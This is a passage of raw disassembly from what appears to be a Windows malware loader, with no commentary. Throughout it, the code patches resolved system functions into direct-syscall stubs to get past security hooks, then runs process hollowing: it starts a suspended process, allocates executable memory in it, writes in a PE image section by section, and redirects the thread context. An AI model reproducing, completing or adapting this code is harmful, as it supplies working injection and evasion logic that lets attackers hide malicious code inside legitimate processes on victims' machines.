mov qword [0x140005790], rax
mov rdx, qword [rbp - 0x68]
cmp rdx, rsi
jb 0x140001999
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r15
jb 0x140001994
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001994
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], dil
mov rdx, qword [rsp + 0x78]
cmp rdx, rsi
jb 0x1400019e4
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x1400019df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
cmp qword [0x140005790], rdi
je 0x140001eeb
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
lea rax, [rbp + 0x40]
mov r8, r14
inc r8
cmp byte [rax + r8], dil
jne 0x140001a0a
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140002380
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xf0]
call fcn.140000774
cmp qword [rax + 0x18], rsi
jb 0x140001a40
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400057a8], rax
mov rdx, qword [rbp - 0x68]
cmp rdx, rsi
jb 0x140001a8c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r15
jb 0x140001a87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], dil
mov rdx, qword [rsp + 0x78]
cmp rdx, rsi
jb 0x140001ad7
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x140001ad2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ad2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
cmp qword [0x1400057a8], rdi
je 0x140001eeb
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
lea rax, [rbp - 0x50]
inc r14
cmp byte [rax + r14], dil
jne 0x140001afa
mov r8, r14
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x60]
call fcn.140002380
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xf0]
call fcn.140000774
cmp qword [rax + 0x18], rsi
jb 0x140001b33
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400057d8], rax
mov rdx, qword [rbp - 0x68]
cmp rdx, rsi
jb 0x140001b7f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r15
jb 0x140001b7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b7a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp - 0x70], rdi
mov ebx, 0xf
mov qword [rbp - 0x68], rbx
mov byte [rbp - 0x80], dil
mov rdx, qword [rsp + 0x78]
cmp rdx, rsi
jb 0x140001bcb
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x140001bc6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bc6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
cmp qword [0x1400057d8], rdi
je 0x140001ef0
mov r14d, 0x40
mov dword [rbp + 0x770], r14d
lea r9, [rbp + 0x778]
mov r8d, r14d
lea ebx, [r14 - 0x3b]
mov edx, ebx
mov rcx, qword [0x140005790]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001eeb
mov dword [rbp + 0x780], 0xb8d18b4c
mov rcx, qword [0x140005790]
mov eax, dword [rbp + 0x780]
mov dword [rcx], eax
mov byte [rcx + 4], 0x3a
lea r9, [rbp + 0x770]
mov r8d, dword [rbp + 0x778]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0x778]
mov r8d, dword [rbp + 0x770]
mov edx, ebx
mov rcx, qword [0x1400057a8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001eeb
mov dword [rbp + 0x770], r14d
mov dword [rbp + 0x780], 0xb8d18b4c
mov rcx, qword [0x1400057a8]
mov eax, dword [rbp + 0x780]
mov dword [rcx], eax
mov byte [rcx + 4], 0x98
lea r9, [rbp + 0x770]
mov r8d, dword [rbp + 0x778]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0x778]
mov r8d, dword [rbp + 0x770]
mov edx, ebx
mov rcx, qword [0x1400057d8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001eeb
mov dword [rbp + 0x770], r14d
mov dword [rbp + 0x780], 0xb8d18b4c
mov rcx, qword [0x1400057d8]
mov eax, dword [rbp + 0x780]
mov dword [rcx], eax
mov byte [rcx + 4], 0x52
lea r9, [rbp + 0x770]
mov r8d, dword [rbp + 0x778]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0x778]
mov r8d, dword [rbp + 0x770]
mov edx, ebx
mov rcx, qword [0x1400057a0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001eeb
mov dword [rbp + 0x780], 0xb8d18b4c
mov rcx, qword [0x1400057a0]
mov eax, dword [rbp + 0x780]
mov dword [rcx], eax
mov byte [rcx + 4], 0xcf
lea r9, [rbp + 0x770]
mov r8d, dword [rbp + 0x778]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0x778]
mov r8d, dword [rbp + 0x770]
mov edx, ebx
mov rcx, qword [0x1400057c8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001eeb
mov dword [rbp + 0x780], 0xb8d18b4c
mov rcx, qword [0x1400057c8]
mov eax, dword [rbp + 0x780]
mov dword [rcx], eax
mov byte [rcx + 4], 0x50
lea r9, [rbp + 0x770]
mov r8d, dword [rbp + 0x778]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
lea ebx, [r14 - 0x3c]
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x320]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001eeb
mov r9d, ebx
mov r8d, r15d
lea edx, [rbx + 4]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001eeb
mov r8d, dword [r13 + 0x50]
mov dword [rsp + 0x20], r14d
mov r9d, 0x3000
mov rdx, qword [r13 + 0x30]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
mov qword [rsp + 0x20], rdi
mov r9d, dword [r13 + 0x54]
mov r8, r12
mov rdx, rax
mov rcx, qword [rbp + 0xa8]
call qword [0x140005790]
mov rsi, rdi
cmp di, word [r13 + 6]
jae 0x140001ee6
movsxd r9, dword [r12 + 0x3c]
add r9, rdi
mov r8d, dword [r9 + r12 + 0x11c]
add r8, r12
mov edx, dword [r9 + r12 + 0x114]
add rdx, r15
and qword [rsp + 0x20], 0
mov r9d, dword [r9 + r12 + 0x118]
mov rcx, qword [rbp + 0xa8]
call qword [0x140005790]
mov rdx, qword [rbx + 0x88]
add rdx, 0x10
and qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [r13 + 0x30]
mov rcx, qword [rbp + 0xa8]
call qword [0x140005790]
inc rsi
add rdi, 0x28
movzx eax, word [r13 + 6]
cmp rsi, rax
jb 0x140001e72
xor edi, edi
mov esi, 0x10
mov ebx, 0xf
mov rcx, qword [rbp + 0x788]
mov r13d, 0x1000
test rcx, rcx
je 0x140001f36
mov rdx, qword [rbp + 0xe8]
sub rdx, rcx
mov rax, rcx
cmp rdx, r13
jb 0x140001f30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, rsi
jb 0x140001f6f
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, r13
jb 0x140001f6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001f6a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x38], rbx
mov byte [rbp + 0x20], dil
mov rdx, qword [rbp + 0x1e8]
cmp rdx, rsi
jb 0x140001fbb
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, r13
jb 0x140001fb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001fb5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
nop
lea rcx, [rbp + 0xf0]
call fcn.1400008b4
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, rsi
jb 0x140002005
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, r13
jb 0x140001fff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001fff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, rsi
jb 0x14000203e
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, r13
jb 0x140002039
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002039
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
add rsp, 0x828
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140000524
nop
call fcn.1400028b8
int3